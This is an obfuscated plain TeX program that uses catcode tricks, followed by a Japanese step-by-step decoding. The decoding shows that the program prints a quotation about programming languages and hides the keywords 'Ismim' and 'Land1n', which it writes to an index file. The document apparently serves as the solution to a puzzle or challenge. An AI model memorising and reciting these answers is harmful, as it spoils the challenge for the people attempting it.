\futurelet~ \catcode`K7 \endlinechar- \string` ~`I13~`G10\let I~I86G10I83G7I72G1I90V0I78V2I80G6I82G5 I13G9I76G13ZletGLZletI65G13LZFZfontVLZTZmagstepV ZFZbig=cmr10VscaledVZmagstep4V ZFZsc=cmcsc10VscaledVZmagstep4V ZFZbf=cmbx10ZrelaxV ZdefZhoP1P2HP2P1NVLAZhoV ``HZbigVMNostVprogrammingV languagesVareVpartlyVaVwayVofV expressingVthingsVinVV termsVofVVotherVthingsV andVpartlyVVaVbasicVsetV ofVgivenVthings.''VZvskipV10ptV HZscZcatcode`I12VAsIAimmNVisVV theVHZbfVkeywordNVofVthisVquestion!V ZnewwriteZaZrelaxV ZopenoutZa=Zjobname.idxZrelaxV ZwriteZaHAaLnA1dnVisVanotherVkeyword!NV ZcloseoutZaZrelaxVZbye
4行目
ZletGLZlet
↓
\let L \let
Lが\letになる。
I65G13
↓
\catcode 65 13 % A → ~
あとで、\let A hogeをするため。
LZFZfontVLZTZmagstepV
↓
\let \F \font \let \T \magstep
5-7行目
ZFZbig=cmr10VscaledVZmagstep4V ZFZsc=cmcsc10VscaledVZmagstep4V ZFZbf=cmbx10ZrelaxV
↓
\F\big=cmr10 scaled \magstep4 \F\sc=cmcsc10 scaled \magstep4 \F\bf=cmbx10 \relax
8行目
ZdefZhoP1P2HP2P1NVLAZhoV
↓
\def \ho #1#2 {#2#1} \let A \ho
直後の文字を入れ替えるコマンドAを定義している。
9行目以降
``HZbigVMNostVprogrammingV languagesVareVpartlyVaVwayVofV expressingVthingsVinVV termsVofVVotherVthingsV andVpartlyVVaVbasicVsetV ofVgivenVthings.''VZvskipV10ptV HZscZcatcode`I12VAsIAimmNVisVV theVHZbfVkeywordNVofVthisVquestion!V ZnewwriteZaZrelaxV ZopenoutZa=Zjobname.idxZrelaxV ZwriteZaHAaLnA1dnVisVanotherVkeyword!NV ZcloseoutZaZrelaxVZbye
↓
``{\big M}ost programming languages are partly a way of expressing things in terms of other things and partly a basic set of given things.'' \vskip 10pt {\sc\catcode`I12 AsIAimm} is the {\bf keyword} of this question! \newwrite\a\relax \openout\a=\jobname.idx\relax \write\a{AaLnA1dn is another keyword!} \closeout\a\relax \bye
\catcode`I12でIが英文字に戻り、コマンドAをによって直後の文字が入れ替わるので、
{\sc Ismim} {Land1n is another keyword!}